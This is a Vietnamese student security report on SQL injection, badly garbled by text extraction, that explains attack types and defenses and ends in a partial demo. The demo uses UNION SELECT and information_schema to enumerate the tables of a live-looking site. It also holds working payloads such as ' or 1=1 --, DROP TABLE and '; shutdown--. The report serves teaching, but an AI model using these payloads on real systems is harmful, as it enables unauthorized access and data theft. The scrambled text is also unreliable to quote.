H C VI N CÔNG NGH B U CHÍNH VI N THÔNGỌ Ệ Ệ Ư Ễ KHOA CÔNG NGH THÔNG TINỆ BÁO CÁO MÔN AN TOÀN B O M T H TH NG THÔNG TINẢ Ậ Ệ Ố Đ TÀI K THU T T N CÔNG SQL INJECTION VÀỀ Ỹ Ậ Ấ CÁCH PHÒNG CH NGỐ Gi ng[.]
Trang 1H C VI N CÔNG NGH B U CHÍNH VI N THÔNG Ọ Ệ Ệ Ư Ễ
KHOA CÔNG NGH THÔNG TIN Ệ
BÁO CÁO
MÔN: AN TOÀN B O M T H TH NG THÔNG TIN Ả Ậ Ệ Ố
Gi ng ả
viên
: Đ Xuân Ch ỗ ợ
Thành viên : L ươ ng Hùng
Kh ng Minh Quân ổ
-
B15DCCN425
Lê Kim Hùng
-
B15DCCN250
Nguy n Văn Trung ễ
-
B15DCCN575
Vũ Văn Toàn
-B15DCCN557
Trang 2
Hà N i, 5/2018 ộ M C L C Ụ Ụ M Đ UỞ Ầ 1
I Gi i thi u v SQL Injectionớ ệ ề 2
1 Đ c tr ng c a các ng d ng s d ng c s d li uặ ư ủ ứ ụ ử ụ ơ ở ữ ệ 2
2 T m quan tr ng c a các l nh sql đ i v i m t h th ngầ ọ ủ ệ ố ớ ộ ệ ố 2
3 Khái ni m SQL Injectionệ 2
II SQL Injection và các cách t n công ph bi nấ ổ ế 3
1 D ng t n công vạ ấ ượt qua ki m tra đăng nh pể ậ 3
2 D ng t n công s d ng câu l nh SELECTạ ấ ử ụ ệ 4
3 D ng t n công s d ng câu l nh INSERTạ ấ ử ụ ệ 5
4 D ng t n công s d ng Stored-proceduresạ ấ ử ụ 5
III Phòng ch ng SQL Injectionố 6
1 Ki m soát ch t ch d li u đ u vàoể ặ ẽ ữ ệ ầ 6
2 Thi t l p các đ i tế ậ ố ượng gi làm m i nhả ồ ử 6
3 Thi t l p c u hình an toàn cho h qu n tr s s d li uế ậ ấ ệ ả ị ơ ở ữ ệ 6
IV DEMO 7
V Tài li u tham kh oệ ả 10
Trang 3M Đ U Ở Ầ
1 Tính c p thi t c a đ tài ấ ế ủ ề
S phát tri n vự ể ượ ật b c c a công ngh web đã đem l i nhi u thu n l i choủ ệ ạ ề ậ ợ
người dùng nh các nhà phát tri n Nh ng cùng v i s phát tri n này thì các ngư ể ư ớ ự ể ứ
d ng web cũng tr thành m c tiêu u thích c a nh ng k t n công Các hình th cụ ở ụ ư ủ ữ ẻ ấ ứ
t n công r t đa d ng nh thay đ i n i dung c a trang web, t n công t ch i d ch vấ ấ ạ ư ổ ộ ủ ấ ừ ố ị ụ khi n cho vi c truy nh p không th th c hi n đế ệ ậ ể ự ệ ược ho c r t khó th c hi n, chi mặ ấ ự ệ ế quy n đi u khi n trang web… M c tiêu c các hacker cũng r t khác nhau, có thề ề ể ụ ả ấ ể
t n công xu t phát t thi n chí, nh m tìm ra nh ng đi m y u và thông báo cho nhàấ ấ ừ ệ ằ ữ ể ế
qu n tr h th ng Nghiêm tr ng h n là t n công đ ph c v cho các m c đích x uả ị ệ ố ọ ơ ấ ể ụ ụ ụ ấ
nh t ng ti n trang web, l y c p các d li u nh y c m nh thông tin th tín d ng,ư ố ề ấ ắ ữ ệ ạ ả ư ẻ ụ mua hàng qua tài kho n c a ngả ủ ười khác… Trong các hình th c t n công thì t n côngứ ấ ấ
b ng cách chèn mã l nh (injection) là ph bi n T n công website b ng k thu tằ ệ ổ ế ấ ằ ỹ ậ SQL injection t lâu đã là m i quan tâm b o m t hàng đ u c a các nhà phát tri nừ ố ả ậ ầ ủ ể web và ch s h u website Gi đây, các cu c t n công này ngày càng tr nên khóủ ở ữ ờ ộ ấ ở phát hi n và ngăn ch n h n S lệ ặ ơ ố ượng các v t n công nh m vào c s d li uụ ấ ằ ơ ở ữ ệ (CSDL) web đã lên t i m t con s k l c.ớ ộ ố ỷ ụ
SQL Injection là ki u t n công có m c tiêu r t c th và thể ấ ụ ấ ụ ể ường là m c tiêuụ
đ n l Chính vì th mà nh ng v t n công nh th này thơ ẻ ế ữ ụ ấ ư ế ường không gây đượ ực s chú ý r ng rãi nh virus hay sâu máy tính N u nh m t máy ch c s d li u bộ ư ế ư ộ ủ ơ ở ữ ệ ị tin t c chi m quy n ki m soát thì s có m t kh i lặ ế ề ể ẽ ộ ố ượng l n thông tin cá nhân tàiớ chính c a ngủ ười dùng s r i vào tay chúng Và n u thành công thì có th nói thôngẽ ơ ế ể tin mà tin t c thu đặ ược còn nhi u h n so v i t n công phishing Tin t c không ph iề ơ ớ ấ ặ ả
m t công gi m o đ l a ngấ ả ạ ể ừ ườ ử ụi s d ng cung c p thông tin cá nhân tài chính T lấ ỉ ệ thành công c a các v t n công SQL injection thủ ụ ấ ường r t cao.ấ
2 M c đích nghiên c u ụ ứ
- Giúp chúng ta có th hi u h n v các ng d ng website, các m i đe d a vể ể ơ ề ứ ụ ố ọ ề
v n đ an toàn thông tin ấ ề
- Xác đ nh đị ược nguyên nhân, nh n di n chính xác đ i tậ ệ ố ượng đ ng c , cáchộ ơ
th c t n công và xâm nh p vào c s d li u.ứ ấ ậ ơ ở ữ ệ
- Hi u rõ v các khái ni m sql injection và phể ề ệ ương th c ho t đ ng c a cácứ ạ ộ ủ hacker thông qua l h ng này.ỗ ổ
1
Trang 4I Gi i thi u v SQL Injection ớ ệ ề
1 Đ c tr ng c a các ng d ng s d ng c s d li u ặ ư ủ ứ ụ ử ụ ơ ở ữ ệ
Hi n nay nh ng ng d ng ph bi n nh t và chi m th ph n cũng nh doanhệ ữ ứ ụ ổ ế ấ ế ị ầ ư thu cao nh t đ u là ng d ng h tr tính năng qu n lý D li u là th s ng cònấ ề ứ ụ ỗ ợ ả ữ ệ ứ ố trong m i ho t đ ng nghi p v hi n t i Chính vì lý do này, các ng d ng nghi pọ ạ ộ ệ ụ ệ ạ ứ ụ ệ
v hi n t i đ u xây d ng trên nh ng mô hình phát tri n g n li n v i c s d li u.ụ ệ ạ ể ự ữ ể ắ ề ớ ơ ở ữ ệ
An toàn c a d li u đủ ữ ệ ược đ t n ng lên tính an toàn và b o m t c a ng d ngặ ặ ả ậ ủ ứ ụ website k t n i c s d li u.ế ố ơ ở ữ ệ
Các mô hình phát tri n ng d ng web hi n t i để ứ ụ ệ ạ ượ ử ục s d ng ph bi n nh tổ ế ấ
là 3-tier, ngoài ra còn có m t s b n c i ti n, m r ng mô hình này nh m m c đíchộ ố ả ả ế ở ộ ằ ụ riêng
2 T m quan tr ng c a các l nh sql đ i v i m t h th ng ầ ọ ủ ệ ố ớ ộ ệ ố
C s d li u ch a đ ng nh ng d li u c n thi t đ website có th ch yơ ở ữ ệ ứ ự ữ ữ ệ ầ ế ể ể ạ
được và l u tr các thông tin phát sinh trong quá trình ch y Nó cũng l u tr nh ngư ữ ạ ư ữ ữ thông tin các nhân, th tín d ng, m t kh u c a khách hàng, c a Admin Đ l y cácẻ ụ ậ ẩ ủ ủ ể ấ thông tin c n thi t t c s d li u thì các l nh SQL s đ m nh n trách nhi m th cầ ế ừ ơ ở ữ ệ ệ ẽ ả ậ ệ ự
hi n các yêu c u truy v n đệ ầ ấ ược đ a ra t phía ngư ừ ườ ử ụi s d ng: khi người dùng đăng
nh p vào h th ng, l y m t thông tin nào đó trên web…đ u c n s d ng các câuậ ệ ố ấ ộ ề ầ ử ụ
l nh SQL.ệ
3 Khái ni m SQL Injection ệ
SQL Injection là k thu t đi n vào nh ng đo n mã SQL b t h p pháp choỹ ậ ề ữ ạ ấ ợ phép khai thác m t l h ng b o m t t n t i trong c s d li u c a ng d ng Lộ ỗ ổ ả ậ ồ ạ ơ ở ữ ệ ủ ứ ụ ỗ
h ng này có th xu t hi n khi ng d ng không có đo n mã ki m tra chu i ký tổ ể ấ ệ ứ ụ ạ ể ỗ ự thoát nhúng trong câu truy v n SQL ho c do s đ nh d ng ki u đ u vào không rõấ ặ ự ị ạ ể ầ ràng hay do l i cú pháp SQL ngoài ý mu n.ỗ ố
SQL Injection là m t d ng t n công d th c hi n, h u h t m i thao tácộ ạ ấ ễ ự ệ ầ ế ọ
ngườ ấi t n công c n đầ ược th c hi n m t trình duy t web, có th kèm theo m t ngự ệ ộ ệ ể ộ ứ
d ng proxy server Chính vì đ n gi n nh v y cho nên b t c ai cũng có th h cụ ơ ả ư ậ ấ ứ ể ọ cách ti n hành cu c t n công L i b t ngu n t mã ngu n c a ng d ng web chế ộ ấ ỗ ắ ồ ừ ồ ủ ứ ụ ứ không ph i t phía database, chính vì th b t c thành ph n nào c a ng d ng màả ừ ế ấ ứ ầ ủ ứ ụ
người dung có th tể ương tác đ đi u khi n n i dung đ u có th để ề ể ộ ề ể ượ ử ục s d ng để
ti n hành chèn truy v n có h i Nh v y có th th y, l i SQL injection x y ra khiế ấ ạ ư ậ ể ấ ỗ ả
Trang 5website không đượ ậc l p trình t t, b n ch t đi m y u sql injection là xu t hi n tố ả ấ ể ế ấ ệ ừ trong quá trình x lý d li u input c a ngử ữ ệ ủ ười dùng bên trong mã ngu n.ồ
II SQL Injection và các cách t n công ph bi n ấ ổ ế
1 D ng t n công v ạ ấ ượ t qua ki m tra đăng nh p ể ậ
V i d ng này, tin t c có th d dàng vớ ạ ặ ể ễ ượt qua các trang đăng nh p nh vàoậ ờ
l i khi dùng các câu l nh SQL thao tác trên c s d li u c a ng d ng web.ỗ ệ ơ ở ữ ệ ủ ứ ụ
Xét m t ví d đi n hình, thông thộ ụ ể ường đ cho phép ngể ười dùng truy c p vàoậ các trang web được b o m t, h th ng thả ậ ệ ố ường xây d ng trang đăng nh p đ yêuự ậ ể
c u ngầ ười dùng nh p thông tin v tên đăng nh p và m t kh u Sau khi ngậ ề ậ ậ ẩ ười dùng
nh p thông tin vào, h th ng s ki m tra tên đăng nh p và m t kh u có h p lậ ệ ố ẽ ể ậ ậ ẩ ợ ệ không đ quy t đ nh cho phép hay t ch i th c hi n ti p.ể ế ị ừ ố ự ệ ế
Trong trường h p này, ngợ ười ta có th s d ng hai trang, m t tang HTML để ử ụ ộ ể
hi n th form nh p li u và m t trang ASP dùng đ x lý thông tin t phái ngể ị ậ ệ ộ ể ử ừ ười dùng
Ví d :ụ
Login.html
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br />
Password: <input type="password" name="fPASSWORD"><br /> <input type="submit">
</form>
Execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName = Request.Form("fUSRNAME") vPassword = Request.Form("fPASSWORD") strSQL = "SELECT * FROM T_USERS " & _"WHERE USR_NAME='
" & vUsrName & _" ' and USR_PASSWORD=' " & vPassword & " ' " Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
If (objRS.EOF) Then
Response.Write "Invalid login."
3
Trang 6Response.Write "You are logged in as " &objRS("USR_NAME") End If Set objRS = Nothing %>
Tho t nhìn, đo n mã trong trang Execlogin.asp dạ ạ ường nh không ch a b t c m tư ứ ấ ứ ộ
l h ng v an toàn nào Ngỗ ổ ề ười dùng không th đăng nh p mà không có tên đăngể ậ
nh p và m t kh u h p l Tuy nhiên, đo n mã này th c s không an toàn và là ti nậ ậ ẩ ợ ệ ạ ự ự ề
đ cho m t l i SQL injection Ch s h n m ch nh p li u vào t ngề ộ ỗ ỗ ơ ở ằ ở ỗ ậ ệ ừ ười dùng
được dùng đ xây d ng tr c ti p câu l nh SQL Ví d , n u ngể ự ự ế ệ ụ ế ười dùng nh p chu iậ ỗ sau vào trong c 2 ô nh p li u c a trang Login.html là: aaaa' or 1=1 – và 123 Lúcả ậ ệ ủ này câu truy v n đấ ược g i th c hi n:ọ ự ệ
SELECT * FROM T_USERS WHERE USR_NAME=’aaa’ or 1=1 ’ AND USR_PASS=’123’
Câu truy v n này h p l và tr v v i t t c các b n ghi c a T_USERS và đo n mãấ ợ ệ ả ề ớ ấ ả ả ủ ạ
ti p theo x lý ngế ử ười dùng đăng nh p b t h p pháp này nh ngậ ấ ợ ư ười dùng đăng nh pậ
h p l ợ ệ
2 D ng t n công s d ng câu l nh SELECT ạ ấ ử ụ ệ
D ng t n công này ph c t p h n Đ th c hi n đạ ấ ứ ạ ơ ể ự ệ ược ki u t n công này, kể ấ ẻ
t n công ph i có kh năng hi u và l i d ng các s h trong thông báo l i t hấ ả ả ể ợ ụ ơ ở ỗ ừ ệ
th ng đ dò tìm các đi m y u Ví d , trong các trang tìm ki m Các trang này choố ể ể ế ụ ế phép người dùng nh p vào các thông tin nh h , tên,… Đo n mã thậ ư ọ ạ ường g p là:ặ
<%
AUTHOR_NAME =' " & _ vAuthorName & " ' "
objRS.Open strSQL, "DSN= "
Tương t nh trên, tin t c có th l i d ng s h trong câu truy v m SQL đ nh pự ư ặ ể ợ ụ ơ ở ấ ể ậ vào trường tên tác g i chu i giá tr :ả ỗ ị
UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*)
Trang 7Lúc này, ngoài câu truy v n đ u không thành công, chấ ầ ương trình s th c hi n ti pẽ ự ệ ế theo t khóa UNION Gi s đo n mã nh p vào là: ừ ả ử ạ ậ
DROP TABLE T_AUTHORS –
Câu truy v n s th c hi n xóa b ng.ấ ẽ ự ệ ả
3 D ng t n công s d ng câu l nh INSERT ạ ấ ử ụ ệ
Thông thường các ng d ng web cho phép ngứ ụ ười dùng đăng kí m t tài kho nộ ả tham gia Ch c năng không th thi u sau khi đăng kí thành công, ngứ ể ế ười dùng có thể xem và hi u ch nh thông tin c a mình SQL injection có th đệ ỉ ủ ể ược dùng khi h th ngệ ố không ki m tra tính h p l c a thông tin nh p vào Ví d , m t câu l nh INSERT cóể ợ ệ ủ ậ ụ ộ ệ
th có cú pháp d ng:ể ạ
INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')
N u đo n mã xây d ng câu l nh SQL có d ng:ế ạ ự ệ ạ
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') "
objRS.Open strSQL, "DSN= "
Thì ch c ch n s b l i SQLi, b i vì n u ta nh p vào trắ ắ ẽ ị ỗ ở ế ậ ường th nh t ví d nh :ứ ấ ụ ư ' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy v n s là:ấ ẽ
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + ' ', 'abc', 'def')
Khi đó, lúc th c hi n l nh xem thông tin, xem nh đã yêu c u th c hi n thêm 1 l nhự ệ ệ ư ầ ự ệ ệ
n a đó là:ữ
SELECT TOP 1 FieldName FROM TableName
5
Trang 84 D ng t n công s d ng Stored-procedures ạ ấ ử ụ
Stored-procedures được s d ng trong l p trình web v i m c đích nh mử ụ ậ ớ ụ ằ
gi m s ph c t p trong ng d ng và tránh s t n công trong k thu t sql injection.ả ự ứ ạ ứ ụ ự ấ ỹ ậ Tuy nhiên nh ng k t n công v n có th có l i d ng nh ng stored procedure đ t nữ ẻ ấ ẫ ể ợ ụ ữ ể ấ công vào h th ng Vi c t n công này gây tác h i r t l n n u ng d ng th c thi v iệ ố ệ ấ ạ ấ ớ ế ứ ụ ự ớ quy n qu n tr h th ng ‘sa’.ề ả ị ệ ố
Ví d : stored-procedures sp_login g m 2 tham s là username và password,ụ ồ ố
n u k t n công nh p:ế ẻ ấ ậ
Username: thanhcong
Password: ‘ ; shutdown—
L nh g i stored procedure nh sau:ệ ọ ư
Exec sp_login ‘thahcong’,’ ;shutdown—‘
L nh shutdown th c hi n d ng sql server ngay l p t c.ệ ự ệ ừ ậ ứ
III Phòng ch ng SQL Injection ố
1 Ki m soát ch t ch d li u đ u vào ể ặ ẽ ữ ệ ầ
Đ phòng tránh các nguy c có th x y ra, hãy b o v các câu l nh SQLể ơ ể ả ả ệ ệ
b ng cách ki m soát ch t ch t t c các d li u nh p nh n đằ ể ặ ẽ ấ ả ữ ệ ậ ậ ượ ừ ố ược t đ i t ng Request Ví d , có th gi i h n chi u dài c a chu i nh p li u, ho c xây d ng hàmụ ể ớ ạ ề ủ ỗ ậ ệ ặ ự EscapeQuotes đ thay th các d u nháy đ n b ng 2 d u nháy đ n.ể ế ấ ơ ằ ấ ơ
Trong trường h p d li u vào là s , l i xu t phát t vi c thay th m t giá trợ ữ ệ ố ỗ ấ ừ ệ ế ộ ị
được tiên đoán là d li u s b ng chu i ch a câu l nh SQL b t h p pháp Đ tránhữ ệ ố ả ỗ ứ ệ ấ ợ ể
đi u này đ n gi n hãy ki m tra d li u có đúng ki u hay không b ng hàmề ơ ả ể ữ ệ ể ằ IsNumeric()
Ngoài ra có th xây d ng hàm lo i b m t s kí t và t khóa nguy hi mể ự ạ ỏ ộ ố ự ừ ể
nh : ,’, , select, insert,xp_,… ra kh i chu i d li u nh p t phía ngư ỏ ỗ ữ ệ ậ ừ ười dùng để
h n ch các t n công d ng này.ạ ế ấ ạ
2 Thi t l p các đ i t ế ậ ố ượ ng gi làm m i nh ả ồ ử
Chi n thu t này đế ậ ược ra nh m c nh báo cho qu n tri viên nguy c m t cu cằ ả ả ơ ộ ộ
t n công khi m t ai đó c tình tìm cách khai thác nh ng d li u Phấ ộ ố ữ ữ ệ ương pháp này nên ph i h p v i vi c đ t tên các đ i tố ợ ớ ệ ặ ố ượng khó đoán Đ th c hi n phể ự ệ ương pháp này, ta sinh các b ng ch a các c t có tính nh y c m mà d đoán, ví d nhả ứ ộ ạ ả ễ ụ ư
Trang 9password, id, nh ng d li u trong các b ng này là d li u gi và m i khi các thôngư ữ ệ ả ữ ệ ả ỗ tin được truy c p, s có m t thông báo g i v cho qu n tr viên.ậ ẽ ộ ử ề ả ị
3 Thi t l p c u hình an toàn cho h qu n tr s s d li u ế ậ ấ ệ ả ị ơ ở ữ ệ
Đ ng d ng tránh để ứ ụ ượ ấc t n công SQL injection c n tri n khai m t s vi cầ ể ộ ố ệ sau:
- Không tr v trang l i có thông tin nh y c m.ả ề ỗ ạ ả
- C i thi n d li u nh p vào càng t t càng có kh năng lo i b t n côngả ệ ữ ệ ậ ố ả ạ ỏ ấ
- H n ch t i đa quy n truy v nạ ế ố ề ấ
- Thường xuyên ki m tra, quét các ng d ng b ng nh ng công c m i nh tể ứ ụ ằ ữ ụ ớ ấ
- Dùng lá ch n t t nh t có th cho t ng l p tắ ố ấ ể ừ ớ ương tác
IV DEMO
Cách 1:
Công c h tr add-on hackbarụ ỗ ợ
1) Ki m tra xem trang web co b l i không b ng cách thêm d u * vào cu i để ị ỗ ằ ấ ố ường link:
http://manh.zent/blog/?mod=post&act=detail&id=19*
Ta th y trang web b l i.ấ ị ỗ
2) Ki m tra xem có bao nhiêu c t trong c s d li u b ng cách s d ng l nh ể ộ ơ ở ữ ệ ằ ử ụ ệ order
by xx đây xx là m t sở ộ ố
7
Trang 10Ta ki m tra order by 8- - trang web b l i ể ị ỗ Nh v y có 7 c t trong database.ư ậ ộ
3) Ti p theo ta s tìm các c t b l i b ng ế ẽ ộ ị ỗ ằ UNION SELECT 1,2,3,4,5,6,7
đây c t b l i là c t th 2, 3, 4 Ta s khai thác c t th 2
4) Ta ti n hành hi n thông tin các b ng có trong database c t th 2 b ng l nh:ế ệ ả ở ộ ứ ằ ệ
union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() K t qu hi n lên tên b ng ế ả ệ ả nguoidung và tintuc
Ta s thêm unhex (hex(group_concat)) đ tìm ra các thông tin trong b ng ẽ ể ả nguoidung.
Nh v y câu truy v n nh sau:ư ậ ấ ư
union select 1,unhex(hex(group_concat(column_name))),3,4,5,6,7 from
information_schema.columns where table_name=0x6e67756f6964756e67—